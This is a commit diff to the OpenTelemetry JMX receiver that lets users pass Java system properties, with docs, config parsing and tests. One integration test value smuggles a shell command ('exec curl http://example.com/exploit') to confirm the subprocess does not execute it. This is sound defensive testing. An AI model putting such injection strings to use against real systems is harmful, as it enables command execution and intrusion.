Skip to content

Commit df252ba

Browse files
jmx receiver: allow setting system properties (#3450)
1 parent d172810 commit df252ba

File tree

7 files changed

+69
-2
lines changed

7 files changed

+69
-2
lines changed

receiver/jmxreceiver/README.md

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,10 @@ receivers:
3535
username: my_jmx_username
3636
# determined by the environment variable value
3737
password: $MY_JMX_PASSWORD
38+
# will be set as system properties for the underlying java command
39+
properties:
40+
otel.resource.attributes: my.attr=my.value,my.other.attr=my.other.value
41+
some.system.property: some.system.property.value
3842
```
3943
4044
### jar_path (default: `/opt/opentelemetry-java-contrib-jmx-metrics.jar`)
@@ -85,6 +89,11 @@ The password to use for JMX authentication.
8589

8690
Corresponds to the `otel.jmx.password` property.
8791

92+
### properties
93+
94+
A map of property names to values to be used as system properties set as command line options
95+
(e.g. `-Dproperty.name=property.value`).
96+
8897
### otlp.endpoint (default: `0.0.0.0:<random open port>`)
8998

9099
The otlp exporter endpoint to which to listen and submit metrics.

receiver/jmxreceiver/config.go

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,8 @@ type Config struct {
5959
RemoteProfile string `mapstructure:"remote_profile"`
6060
// The SASL/DIGEST-MD5 realm
6161
Realm string `mapstructure:"realm"`
62+
// Map of property names to values to pass as system properties when running JMX Metric Gatherer
63+
Properties map[string]string `mapstructure:"properties"`
6264
}
6365

6466
// We don't embed the existing OTLP Exporter config as most fields are unsupported
@@ -89,6 +91,16 @@ func (oec otlpExporterConfig) headersToString() string {
8991
return headerString
9092
}
9193

94+
func (c *Config) parseProperties() []string {
95+
parsed := make([]string, 0, len(c.Properties))
96+
for property, value := range c.Properties {
97+
parsed = append(parsed, fmt.Sprintf("-D%s=%s", property, value))
98+
}
99+
// Sorted for testing and reproducibility
100+
sort.Strings(parsed)
101+
return parsed
102+
}
103+
92104
func (c *Config) validate() error {
93105
var missingFields []string
94106
if c.Endpoint == "" {
@@ -112,5 +124,6 @@ func (c *Config) validate() error {
112124
if c.OTLPExporterConfig.Timeout < 0 {
113125
return fmt.Errorf("%v `otlp.timeout` must be positive: %vms", c.ID(), c.OTLPExporterConfig.Timeout.Milliseconds())
114126
}
127+
115128
return nil
116129
}

receiver/jmxreceiver/config_test.go

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -77,8 +77,17 @@ func TestLoadConfig(t *testing.T) {
7777
TruststorePassword: "mytruststorepassword",
7878
RemoteProfile: "myremoteprofile",
7979
Realm: "myrealm",
80+
Properties: map[string]string{
81+
"property.one": "value.one",
82+
"property.two": "value.two.a=value.two.b,value.two.c=value.two.d",
83+
},
8084
}, r1)
8185

86+
assert.Equal(
87+
t, []string{"-Dproperty.one=value.one", "-Dproperty.two=value.two.a=value.two.b,value.two.c=value.two.d"},
88+
r1.parseProperties(),
89+
)
90+
8291
r2 := cfg.Receivers[config.NewIDWithName(typeStr, "missingendpoint")].(*Config)
8392
require.NoError(t, configcheck.ValidateConfig(r2))
8493
assert.Equal(t,

receiver/jmxreceiver/integration_test.go

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -150,7 +150,17 @@ func (suite *JMXIntegrationSuite) TestJMXReceiverHappyPath() {
150150
},
151151
Password: "cassandra",
152152
Username: "cassandra",
153+
Properties: map[string]string{
154+
// should be used by Autoconfigure to set resource attributes
155+
"otel.resource.attributes": "myattr=myvalue,myotherattr=myothervalue",
156+
// test script sets dp labels from these system property values
157+
"my.label.name": "mylabel", "my.label.value": "myvalue",
158+
"my.other.label.name": "myotherlabel", "my.other.label.value": "myothervalue",
159+
// confirmation that arbitrary content isn't executed by subprocess
160+
"one": "two & exec curl http://example.com/exploit && exit 123",
161+
},
153162
}
163+
require.NoError(t, cfg.validate())
154164

155165
consumer := new(consumertest.MetricsSink)
156166
require.NotNil(t, consumer)
@@ -189,6 +199,14 @@ func (suite *JMXIntegrationSuite) TestJMXReceiverHappyPath() {
189199
require.True(t, ok)
190200
require.NotEmpty(t, version.StringVal())
191201

202+
customAttr, ok := attributes.Get("myattr")
203+
require.True(t, ok)
204+
require.Equal(t, "myvalue", customAttr.StringVal())
205+
206+
anotherCustomAttr, ok := attributes.Get("myotherattr")
207+
require.True(t, ok)
208+
require.Equal(t, "myothervalue", anotherCustomAttr.StringVal())
209+
192210
ilm := rm.InstrumentationLibraryMetrics().At(0)
193211
require.Equal(t, "io.opentelemetry.contrib.jmxmetrics", ilm.InstrumentationLibrary().Name())
194212
require.Equal(t, "1.0.0-alpha", ilm.InstrumentationLibrary().Version())
@@ -204,6 +222,16 @@ func (suite *JMXIntegrationSuite) TestJMXReceiverHappyPath() {
204222
sum := met.IntSum()
205223
require.False(t, sum.IsMonotonic())
206224

225+
// These labels are determined by system properties
226+
labels := sum.DataPoints().At(0).LabelsMap()
227+
customLabel, ok := labels.Get("mylabel")
228+
require.True(t, ok)
229+
require.Equal(t, "myvalue", customLabel)
230+
231+
anotherCustomLabel, ok := labels.Get("myotherlabel")
232+
require.True(t, ok)
233+
require.Equal(t, "myothervalue", anotherCustomLabel)
234+
207235
return true
208236
}, 30*time.Second, 100*time.Millisecond, getJavaStdout(receiver))
209237
}

receiver/jmxreceiver/receiver.go

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -67,9 +67,10 @@ func (jmx *jmxMetricReceiver) Start(ctx context.Context, host component.Host) (e
6767
if err != nil {
6868
return err
6969
}
70+
7071
subprocessConfig := subprocess.Config{
7172
ExecutablePath: "java",
72-
Args: []string{"-Dorg.slf4j.simpleLogger.defaultLogLevel=debug", "-jar", jmx.config.JARPath, "-config", "-"},
73+
Args: append(jmx.config.parseProperties(), "-Dorg.slf4j.simpleLogger.defaultLogLevel=info", "-jar", jmx.config.JARPath, "-config", "-"),
7374
StdInContents: javaConfig,
7475
}
7576

receiver/jmxreceiver/testdata/config.yaml

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,9 @@ receivers:
2020
truststore_password: mytruststorepassword
2121
remote_profile: myremoteprofile
2222
realm: myrealm
23+
properties:
24+
property.one: value.one
25+
property.two: value.two.a=value.two.b,value.two.c=value.two.d
2326
jmx/missingendpoint:
2427
groovy_script: mygroovyscriptpath
2528
jmx/missinggroovy:

receiver/jmxreceiver/testdata/script.groovy

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,5 +23,9 @@ if (loadMatches.size() > 0) {
2323
"cassandra.storage.load",
2424
"Size, in bytes, of the on disk data size this node manages",
2525
"By"
26-
).add(load.Count, Labels.of("myKey", "myVal"))
26+
).add(load.Count, Labels.of(
27+
"myKey", "myVal",
28+
System.properties["my.label.name"], System.properties["my.label.value"],
29+
System.properties["my.other.label.name"], System.properties["my.other.label.value"],
30+
))
2731
}

0 commit comments

Comments
 (0)